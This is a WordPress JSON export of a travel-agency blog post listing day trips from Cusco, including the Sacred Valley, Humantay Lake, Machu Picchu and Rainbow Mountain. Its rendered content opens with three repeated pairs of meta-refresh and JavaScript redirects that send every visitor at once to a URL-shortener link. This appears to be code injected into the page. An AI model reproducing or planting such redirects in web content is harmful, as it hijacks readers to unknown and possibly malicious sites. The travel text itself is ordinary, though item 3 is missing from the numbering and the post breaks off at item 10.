{"id":5555,"date":"2025-05-30T12:08:17","date_gmt":"2025-05-30T17:08:17","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=5555"},"modified":"2025-05-30T12:08:19","modified_gmt":"2025-05-30T17:08:19","slug":"10-day-trips-from-cusco-you-should-do","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/10-day-trips-from-cusco-you-should-do\/","title":{"rendered":"10 Day Trips From Cusco You Should Do!"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>For those planning a trip to Peru, Cusco is surely on your bucket list, which is why we have prepared this section to help you decide among the different attractions in the so-called Imperial City of the Incas.<\/p>\n\n\n\n<p>As you may know, Cusco<strong> <\/strong>was the epicenter of the <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-inca-empires-greatness-the-story-of-tahuantinsuyo\/\" title=\"\">Tahuantinsuyo Inca empire<\/a><\/strong>, a beautiful region that the Inca civilization considered sacred. For that reason, there are so many things to do, including cultural, historical, and outdoor excursions.<\/p>\n\n\n\n<p>Based on our passengers\u2019 picks, we have structured this blog to give you a glimpse at 10 of the most sought-after day trips from Cusco. <\/p>\n\n\n\n<p>Whether you\u2019re traveling alone, with a partner, family, or kids, here you\u2019ll find inspiration for your trip to Peru!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>1 |Visit the Sacred Valley of the Incas<\/strong><\/h2>\n\n\n\n<p>As you already know, the Incas developed a great cosmovision movement in the Andes, where they worshiped nature itself. <\/p>\n\n\n\n<p>Imposing mountains surround the Urubamba Valley, which comprises a flourishing territory that provides optimal agricultural practice.<\/p>\n\n\n\n<p>These and other strategic factors made it suitable for the Quechua civilization to settle in those lands. For that reason, the <a aria-label=\"Sacred Valley of the Incas (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/sacred-valley-of-the-incas\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\"><strong>Sacred Valley of the Incas<\/strong><\/a> has several constructions that once served as ceremonial, administrative, and residential centers that you certainly can\u2019t miss.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12238487054_097cd34804_o.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Sacred Valley in Cusco\" class=\"wp-image-13951\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12238487054_097cd34804_o.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12238487054_097cd34804_o.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12238487054_097cd34804_o.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/12238487054_097cd34804_o.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>In case you didn\u2019t know, the main attractions are located in <a aria-label=\"Pisac (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/sacred-valley-of-the-incas\/attractions\/pisac\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Pisac<\/strong><\/a>, <a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/sacred-valley-of-the-incas\/attractions\/ollantaytambo\"><strong>Ollantaytambo<\/strong><\/a>, and Chinchero, three stunning villages with rich cultural representation, where people still practice Inca customs.<\/p>\n\n\n\n<p>The archeological sites are as impressive as you can imagine, composed of agricultural terraces, palaces, and temples that will allow you to know much more about this powerful ancient empire.&nbsp;<\/p>\n\n\n\n<p>Likewise, the Sacred Valley isn\u2019t only about these Inca remains but also its natural scenery. If you\u2019re eager to visit it during your trip to Cusco, we have <a aria-label=\"the perfect excursion for you (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/tours\/sacred-valley-tour\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\"><strong>the perfect excursion for you<\/strong><\/a>!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>2|Explore the archaeological sites around Cusco city<\/strong><\/h2>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Inka-Time-_-Viajes-a-MachuPicchu-_-Operador-Tur%C3%ADstico-en-Cusco.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-9241 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Inka-Time-_-Viajes-a-MachuPicchu-_-Operador-Tur%C3%ADstico-en-Cusco.jpg?w=735&amp;ssl=1 735w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Inka-Time-_-Viajes-a-MachuPicchu-_-Operador-Tur%C3%ADstico-en-Cusco.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Inka-Time-_-Viajes-a-MachuPicchu-_-Operador-Tur%C3%ADstico-en-Cusco.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Although Spaniards destroyed most of the Inca structures in the Imperial City, some have remained as the foundations of the colonial buildings within the <a aria-label=\"Historic Center of Cusco (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/historical-monuments\/historic-center-of-cusco\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Cusco historic center<\/strong><\/a>. Likewise, other magnificent examples lie a few kilometers away from the city.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/06\/23743190986_62f4e9fd46_b.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Sacsayhuaman\" class=\"wp-image-2114 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/06\/23743190986_62f4e9fd46_b.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/06\/23743190986_62f4e9fd46_b.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/06\/23743190986_62f4e9fd46_b.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/06\/23743190986_62f4e9fd46_b.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>These ancient constructions served as ceremonial and administrative centers. And though they disassembled a great part, they still stand with greatness looming over Cusco. One of the most impressive archeological complexes is the <a aria-label=\"Sacsayhuaman Ceremonial Fortress (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/archeological-sites\/sacsayhuaman\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Sacsayhuaman Ceremonial Fortress<\/strong><\/a>.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"461\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/20396205674_ecd9b468c7_k.webp?resize=697%2C461&#038;ssl=1\" alt=\"\" class=\"wp-image-15805 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/20396205674_ecd9b468c7_k.webp?resize=1024%2C678&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/20396205674_ecd9b468c7_k.webp?resize=300%2C199&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/20396205674_ecd9b468c7_k.webp?resize=768%2C509&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/20396205674_ecd9b468c7_k.webp?resize=1536%2C1017&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/20396205674_ecd9b468c7_k.webp?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/20396205674_ecd9b468c7_k.webp?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>The Incas built this fortress with perfectly carved stones that can weigh over 100 tons and be as tall as 9 meters. A few meters from there lies a temple with a gloomy past, which was once an important religious center for the Incas. Unfortunately, Spaniards destroyed it.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"687\" height=\"250\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/03\/qenqo-cusco.jpg?resize=687%2C250&#038;ssl=1\" alt=\"\" class=\"wp-image-6267 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/03\/qenqo-cusco.jpg?w=687&amp;ssl=1 687w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2022\/03\/qenqo-cusco.jpg?resize=300%2C109&amp;ssl=1 300w\" sizes=\"auto, (max-width: 687px) 100vw, 687px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>The <a aria-label=\"Temple of Q\u2019enqo (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/archeological-sites\/qenqo\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Temple of Q\u2019enqo<\/strong><\/a> is another construction that you shouldn\u2019t miss during your stay. Going a bit further up is another structure, Puca Pucara, which seems to be a checkpoint for travelers and messengers who came from other regions.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"430\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2019\/07\/tambomachay.jpg?resize=697%2C430&#038;ssl=1\" alt=\"\" class=\"wp-image-3838 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2019\/07\/tambomachay.jpg?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2019\/07\/tambomachay.jpg?resize=300%2C185&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2019\/07\/tambomachay.jpg?resize=768%2C474&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p> A few meters from there, you\u2019ll find an ancient water cult temple and resting point called Tambomachay.\u00a0 Our <strong><a aria-label=\"Cusco Archeological City Tour (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/tours\/archeological-city-tour\" target=\"_blank\" rel=\"noreferrer noopener\">Cusco Archeological City Tour<\/a> <\/strong>will take you to these attractions, so you can experience each of them and get to know all the secrets and mysteries contained in these authentic Inca ruins.<\/p>\n<\/div><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>4| Make your way up to Lake Humantay<\/strong><\/h2>\n\n\n\n<p>For those looking to spice up their adventure in Cusco, there\u2019s a special place located at 4,200 meters above sea level. An emerald lake surrounded by snow-capped peaks and otherworldly natural scenery, called <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/humantay-lake\">Humantay<\/a><\/strong>.\u00a0<\/p>\n\n\n\n<p>The <a aria-label=\"Lake Humantay Trek (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/tours\/lake-humantay-trek\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\"><strong>Lake Humantay Trek<\/strong><\/a> is one of the most in-demand trekking activities near Cusco since it takes you to the most beautiful water body of the southern Andes.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"319\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/lagunahumantay.jpg?resize=697%2C319&#038;ssl=1\" alt=\"humantay Lake hd pic with apachaetas on the side\" class=\"wp-image-13283\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/lagunahumantay.jpg?resize=1024%2C468&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/lagunahumantay.jpg?resize=300%2C137&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/lagunahumantay.jpg?resize=768%2C351&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/lagunahumantay.jpg?resize=1536%2C703&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/lagunahumantay.jpg?w=2000&amp;ssl=1 2000w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/lagunahumantay.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>This beautiful lagoon has a turquoise color thanks to the microalgae at the bottom of the lake and the mineral-rich water that comes from the thawing of the nearby glaciers.<\/p>\n\n\n\n<p>The trek to this natural wonder can be quite challenging since it is very steep, and the altitude is surely a factor that can\u2019t be ignored. <\/p>\n\n\n\n<p>For that reason, we highly recommend taking some time to get used to the altitude in Cusco before venturing out to this natural beauty.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>5|Get to know the Machu Picchu Citadel<\/strong><\/h2>\n\n\n\n<p>There is no way that we could leave the most important attraction of the region out of this listing.<strong> <a class=\"aioseop-link\" href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Machu Picchu<\/a><\/strong> is undoubtedly everyone\u2019s favorite destination while traveling to Peru.<\/p>\n\n\n\n<p>So, if for a second, you were thinking about skipping it, here\u2019s why you shouldn\u2019t. As you already know, the Inca Citadel is one of the <em>New 7 Wonders of the World,<\/em> and it\u2019s only a day trip away from Cusco City. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/machu-picchu-epoca-lluvia.jpg?resize=697%2C464&#038;ssl=1\" alt=\"\" class=\"wp-image-13073\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/machu-picchu-epoca-lluvia.jpg?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/machu-picchu-epoca-lluvia.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/machu-picchu-epoca-lluvia.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/machu-picchu-epoca-lluvia.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>If you\u2019re short on time, you can experience this outstanding structure in just one day! Machu Picchu is the most well-preserved Inca ruin of the Andes since the Spanish colonizers didn&#8217;t discover it. <\/p>\n\n\n\n<p>The Historical Sanctuary sits on a hilltop, surrounded by imposing mountains, flourishing valleys, and an everlasting energy.<\/p>\n\n\n\n<p>If you\u2019re looking for the best way to visit this outstanding archeological site, make sure to check our <strong><a aria-label=\"Machu Picchu travel packages (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/packages\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\">Machu Picchu travel packages<\/a> <\/strong>and explore Peru like a real expert.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>6|Take a day trip to the South Valley<\/strong><\/h2>\n\n\n\n<p>There\u2019s so much to know about Cusco\u2019s history and culture that you\u2019d wish to extend your holiday a bit more. However, that\u2019s why we are here to help you decide what\u2019s best for you according to your interests.\u00a0<\/p>\n\n\n\n<p>The <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/tours\/south-valley-tour\">South Valley<\/a><\/strong> is another alternative to get to know another side of the Cusque\u00f1an history, since the Incas weren\u2019t the only ones that dominated these lands. <\/p>\n\n\n\n<p>This tourist circuit will take you on a historical journey, where you\u2019ll get to visit the Inca, pre-Inca, and colonial structures along the route.<\/p>\n\n\n\n<figure data-amp-lightbox=\"true\" class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" data-id=\"9244\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Piquillacta-ciudad-pre%C3%ADnca-en-el-Valle-Sur-del-Cusco.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-9244\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Piquillacta-ciudad-pre%C3%ADnca-en-el-Valle-Sur-del-Cusco.jpg?w=735&amp;ssl=1 735w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Piquillacta-ciudad-pre%C3%ADnca-en-el-Valle-Sur-del-Cusco.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/Piquillacta-ciudad-pre%C3%ADnca-en-el-Valle-Sur-del-Cusco.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n<\/figure>\n\n\n\n<p>During this time, you\u2019ll get to learn about the<strong> <\/strong>Pikillacta Archeological Site, the San Pedro Church in Andahuaylillas, and <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/archeological-sites\/tipon\">Tipon<\/a><\/strong>. <\/p>\n\n\n\n<p>These ancient structures are popular for their impressive architectural style, engineering practice, and evolutionary impact.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>7|Immerse yourself in the Andes with the 7 Lakes trek<\/strong><\/h2>\n\n\n\n<p>The Vilcanota mountain range holds an outstanding natural landscape, where towering snow-capped peaks, turquoise-water lagoons, and the Rainbow Mountain itself harmoniously converge to make a dream-like scenery.<\/p>\n\n\n\n<p>In case you didn\u2019t know, there\u2019s a tall mountain that looms over the city of Cusco during the brightest days, which the Inca Culture considered a mighty Apu. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/48567295101_0b6ab88599_h.webp?resize=697%2C327&#038;ssl=1\" alt=\"\" class=\"wp-image-15817\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/48567295101_0b6ab88599_h.webp?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/48567295101_0b6ab88599_h.webp?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/48567295101_0b6ab88599_h.webp?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/48567295101_0b6ab88599_h.webp?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>The Ausangate Mountain is surely one of the most impressive mountains in Cusco, and this is one of the many ways to experience it.<\/p>\n\n\n\n<p>Although this trek won\u2019t take you as far as its summit, you\u2019ll be able to get fully immersed in the beautiful surroundings of the region, while also visiting 7 lakes that originate from this massive snow-capped mountain.<\/p>\n\n\n\n<p>The <a aria-label=\"7 Lakes of Ausangate Trek (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/tours\/7-lakes-of-ausangate-trek\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\"><strong>7 Lakes of Ausangate Trek<\/strong><\/a> will take you on an awe-inspiring journey through the Andes, where you\u2019ll get to meet an ancient cultural expression at the very heart of the mountain range and a natural landscape like no other.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>8|Discover the Maras Salt Mines and Moray<\/strong><\/h2>\n\n\n\n<p>The Incas have definitely left a mark on this region, something that is incredibly represented in their architectural and engineering knowledge. There are two perfect examples of this definition that you must visit in the Sacred Valley.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" src=\"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/????-????????-??-?????-?????-???????-?????.jpg\" alt=\"\" class=\"wp-image-9245\"\/><\/figure><\/div>\n\n\n<p>For those who didn\u2019t know, <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-maras-salt-mines-a-shimmering-journey-through-time\/\" title=\"\">Maras is composed<\/a><\/strong> of a group of over 3,000 salt ponds that have been in use for hundreds of years. Only locals worked in these Salt Mines, and a family business ran through generations.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<p>On the other hand, <a aria-label=\"Moray (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/sacred-valley-of-the-incas\/attractions\/maras-moray\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\"><strong>Moray<\/strong><\/a> is an agricultural center composed of several circular terraces built by the Incas, which allowed them to create different microclimates and cultivate many different plant species. <\/p>\n\n\n\n<figure data-amp-lightbox=\"true\" class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"687\" height=\"250\" data-id=\"5910\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2021\/11\/moray-archeological-site.jpg?resize=687%2C250&#038;ssl=1\" alt=\"\" class=\"wp-image-5910\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2021\/11\/moray-archeological-site.jpg?w=687&amp;ssl=1 687w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2021\/11\/moray-archeological-site.jpg?resize=300%2C109&amp;ssl=1 300w\" sizes=\"auto, (max-width: 687px) 100vw, 687px\" \/><\/figure>\n<\/figure>\n\n\n\n<p>Each terrace is fed by a complex water irrigation channel, allowing a constant and regulated water supply to the crops. Keep in mind that you can visit this attraction on a <a aria-label=\"quad bike tour (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/tours\/quad-bike-tour\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\"><strong>quad bike tour<\/strong><\/a> or a <a aria-label=\"regular excursion (opens in a new tab)\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/cusco\/tours\/maras-moray-tour\" target=\"_blank\" rel=\"noreferrer noopener\" class=\"aioseop-link\"><strong>regular excursion<\/strong><\/a>! Contact us for more information.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>9|Do the Rainbow Mountain trek<\/strong><\/h2>\n\n\n\n<p>If you\u2019re up for a bit of adventure during your trip, then the <strong><a aria-label=\"Rainbow Mountain Trek (opens in a new tab)\" class=\"aioseop-link\" href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/rainbow-mountain-trek-full-day-experience\/\" target=\"_blank\" rel=\"noreferrer noopener\">Rainbow Mountain Trek<\/a> <\/strong>should be your go-to option. <\/p>\n\n\n\n<p>This outstanding colored mountain sits on an elevation of 5,200 meters above sea level and is surrounded by otherworldly scenery.<\/p>\n\n\n\n<figure data-amp-lightbox=\"true\" class=\"wp-block-gallery aligncenter has-nested-images columns-default is-cropped wp-block-gallery-3 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"436\" data-id=\"6958\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/efwefwef23f34f4.jpg?resize=697%2C436&#038;ssl=1\" alt=\"Rainbow Mountain in Cusco\" class=\"wp-image-6958\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/efwefwef23f34f4.jpg?resize=1024%2C640&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/efwefwef23f34f4.jpg?resize=300%2C188&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/efwefwef23f34f4.jpg?resize=768%2C480&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/efwefwef23f34f4.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n<\/figure>\n\n\n\n<p>Keep in mind that you need to be properly acclimatized to join this adventure, which is why we recommend leaving it as the last thing to do in your Cusco trip itinerary.&nbsp;<\/p>\n\n\n\n<p>The Rainbow Mountain is one of the most in-demand trekking activities in Cusco since it gathers over 1,00000 travelers per year. <\/p>\n\n\n\n<p>The natural landscape of this region is like nothing you\u2019ve seen before, complemented by towering peaks, herds of llamas and alpacas, and the<strong> <\/strong>Red Valley behind it.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>10|Explore Huchuy Qosqo\u00a0Royal 